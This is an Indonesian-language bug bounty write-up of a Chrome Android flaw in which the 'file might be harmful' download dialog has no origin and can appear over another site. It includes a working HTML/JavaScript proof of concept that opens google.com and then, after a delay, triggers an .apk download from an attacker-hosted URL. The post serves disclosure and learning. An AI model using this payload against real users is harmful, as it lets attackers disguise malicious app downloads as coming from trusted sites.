# $1000 from Chrome VRP for a Simple File Download Dialog Handling Bug on Android

Alhamdulillah, beberapa bulan lalu saya berhasil mendapatkan bounty $1000 dari Chrome VRP melalui bug insecure download handling yang saya temukan pada Chrome Android. Mari kita bahas PoC lengkapnya.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762667163378/fd113478-b251-49ba-91d8-6bee476a6d30.png align="center")

Awalnya, saya menemukan bug ini melalui cara yang nggak terduga, karena sebelumnya saya hanya mencoba retest semua vulnerability yg sudah di disclosed oleh pihak Chromium. Buat yang belum tau, ini adalah link query untuk melihat semua vulnerability yg sudah di fixed dan di disclosed oleh Chromium untuk bahan belajar:

[https://issues.chromium.org/issues?q=type:vulnerability%20status:fixed%20spoof](https://issues.chromium.org/issues?q=type:vulnerability%20status:fixed%20spoof)

Sampai pada akhirnya saya menemukan bug yang sangat menarik, dan dibayar bounty dengan bounty besar juga, yaitu $7500 ([https://issues.chromium.org/issues/40055527). Bug nya cukup simpel, intinya file downl](https://issues.chromium.org/issues/40055527)oad confirmation bisa muncul di origin lain. Contohnya kalau di Chrome Android, ketika kita ingin download file misal file `.apk`, browser akan memunculkan confirmation dialog untuk memastikan apakah kita beneran mau download file itu atau tidak. Confirmation dialog itu harusnya hanya boleh muncul pada tab yang merupakan origin dari file tersebut, semisal confirmation dialog tersebut merupakan konfirmasi untuk download file `facebook.apk` dari website [`https://facebook.com`](https://facebook.com), harusnya confirmation dialog itu hanya boleh muncul di [`https://facebook.com`](https://facebook.com), gak boleh di web lain. Cuplikan video PoC dari report [https://issues.chromium.org/issues/40055527](https://issues.chromium.org/issues/40055527) bisa dilihat pada.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762667379193/ee6287c2-8d23-4178-9001-668fe112e9ab.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1762667227421/f1ead537-4112-4269-9c62-d897973b6a46.png align="center")

Disitu terlihat bahwa confirmation dialog poc.apk bisa muncul pada site [`google.com`](http://google.com), padahal aslinya file itu berasal dari [`sha3.ezyro.com`](http://sha3.ezyro.com), dengan adanya kerentanan ini user akan mengira bahwa `poc.apk` benar-benar berasal dari [`https://google.com`](https://google.com) (padahal bukan).

Nah, biasanya setiap security bug yang sudah di disclosed oleh Chromium, akan disertakan juga file exploitnya, kalau spoof biasanya akan di share dalam bentuk HTML & JS \[GAMBAR 3\]. Langsung saja disini saya melakukan retest bug tersebut tanpa melakukan custom dari exploit yang sudah ada, hanya mengganti lokasi tempat file `.apk` tersebut di download saja yang diganti. Dan jadinya file PoC berikut ini:

```xml
<html>
 <head> 
  <meta charset="utf-8">
<style>
.button {
  background-color: #4CAF50;
  border: none;
  color: white;
  padding: 15px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
  margin: 4px 2px;
  cursor: pointer;
}
</style>
 </head> 
 <body> 
  <script>
function a(){
    window.open('https://google.com', 'x');
    setTimeout(function(){
        window.open('https://frozzipies.github.io/test.apk', 'x');
    }, 5000);
}
</script> 
  <center><input type="button" class="button" value="Download From Original Site" onclick="a()"> </center>
 </body>
</html>
```

Kunci dari file PoC ini ada pada JS code berikut ini. Yang dimana akan membuat trigger, ketika button di click, browser akan membuka https:/[google.com](http://google.com) dan melakukan download file `.apk` dari [https://frozzipies.github.io/test.apk menggunakan](https://frozzipies.github.io/test.apk) [`window.open`](http://window.open) [dan](https://frozzipies.github.io/test.apk) `setTimeout`

```xml
 <body> 
  <script>
function a(){
    window.open('https://google.com', 'x');
    setTimeout(function(){
        window.open('https://frozzipies.github.io/test.apk', 'x');
    }, 5000);
}
</script> 
  <center><input type="button" class="button" value="Download From Original Site" onclick="a()"> </center>
 </body>
```

Dengan mengeksekusi button tersebut, user akan di redirect ke [https://google.com/](https://google.com/) dan melakukan eksekusi fungsi `setTimeout` setelah 5 detik, untuk memunculkan dialog download `test.apk` dari [https://frozzipies.github.io/test.apk](https://frozzipies.github.io/test.apk) sebagai attacker site.

Awalnya saya berpikir bug ini sudah di fixed, ternyata Chromium belum melakukan fixing secara penuh terkait bug ini. Karena, Chromium memiliki fitur "file might be harmful" yang akan selalu muncul ketika user mendownload executable file seperti `.apk .exe .sh dll` secara direct.

Jadi ketika executable file yang di download, confirmation dialog tidak akan lagi muncul, melainkan yang akan muncul adalah "file might be harmful" dialog, Dan yang jadi root cause dari bug ini adalah pada "file might be harmful" dialog yang tidak memiliki origin, sehingga dialog tersebut bisa muncul di origin atau site manapun tanpa ada security restriction seperti confirmation dialog. Sebenarnya saya berharap bug ini akan dibayar lebih tinggi dibanding $1000, tapi ya mungkin rejekinya memang segini, jadi tetep disyukuri aja, Alhamdulillah. VIdeo PoC dan file PoC exploitnya sudah saya attach ya di Laporan asli bug ini: [https://issues.chromium.org/issues/415496161](https://issues.chromium.org/issues/415496161)
